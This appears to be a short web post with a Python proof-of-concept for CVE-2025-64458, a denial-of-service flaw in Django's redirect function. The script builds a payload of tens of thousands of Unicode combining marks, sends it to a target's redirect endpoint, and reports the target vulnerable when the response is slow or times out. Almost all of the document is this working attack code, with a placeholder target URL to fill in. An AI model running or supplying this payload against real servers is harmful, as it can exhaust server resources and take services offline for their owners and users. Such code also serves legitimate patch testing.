CVE-2025-64458: Django重定向函数Unicode字符DoS漏洞

import requests import time # CVE-2025-64458 PoC - Django Unicode DoS # Target: Django server with vulnerable redirect function def generate_unicode_payload(num_chars=10000): """Generate payload with large number of Unicode characters""" # Combining diacritical marks that trigger slow NFKC normalization payload = 'A' + ('\u0300' * num_chars) return payload def test_vulnerability(target_url): """Test if target is vulnerable to CVE-2025-64458""" payload = generate_unicode_payload(50000) # Test redirect endpoint test_url = f"{target_url}/redirect?next={payload}" start_time = time.time() try: response = requests.get(test_url, timeout=30, allow_redirects=False) elapsed = time.time() - start_time print(f"[*] Request completed in {elapsed:.2f} seconds") print(f"[*] Status code: {response.status_code}") if elapsed > 10: print("[!] Target appears VULNERABLE - response time is very slow") return True else: print("[*] Target may not be vulnerable or patched") return False except requests.exceptions.Timeout: print("[!] Request timed out - target is likely VULNERABLE") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": # Replace with actual target URL target = "http://target-server.com" test_vulnerability(target)